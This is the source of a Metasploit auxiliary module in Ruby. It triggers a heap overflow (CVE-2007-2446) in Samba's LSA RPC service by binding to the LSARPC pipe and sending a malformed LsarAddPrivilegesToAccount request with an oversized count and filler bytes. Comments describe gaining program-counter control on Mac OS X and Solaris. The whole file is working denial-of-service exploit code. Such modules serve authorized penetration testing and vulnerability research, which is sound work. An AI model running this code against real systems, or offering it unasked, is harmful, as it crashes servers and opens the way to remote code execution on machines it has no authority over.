metasploit-framework/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::DCERPC
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include Msf::Exploit::Remote::SMB::Client
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include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba lsa_io_privilege_set Heap Overflow',
'Description' => %q{
This module triggers a heap overflow in the LSA RPC service
of the Samba daemon.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2007-2446'],
['OSVDB', '34699'],
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]
))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
])
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end
def run
pipe = datastore['SMBPIPE'].downcase
print_status("Connecting to the SMB service...")
connect()
smb_login()
datastore['DCERPC::fake_bind_multi'] = false
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
# Linux: Needs heap magic to work around glibc (or TALLOC mode for 3.0.20+)
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# Mac OS X: PC control via memcpy to stack ptr
# Solaris: PC control via memcpy to stack ptr
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stub = lsa_open_policy(dcerpc)
stub << NDR.long(1)
stub << NDR.long(0xffffffff)
stub << NDR.long(0x100)
stub << "X" * 0x100
print_status("Calling the vulnerable function...")
begin
# LsarAddPrivilegesToAccount
dcerpc.call(0x13, stub)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
print_good('Server did not respond, this is expected')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_good('Server disconnected, this is expected')
else
raise e
end
end
disconnect
end
end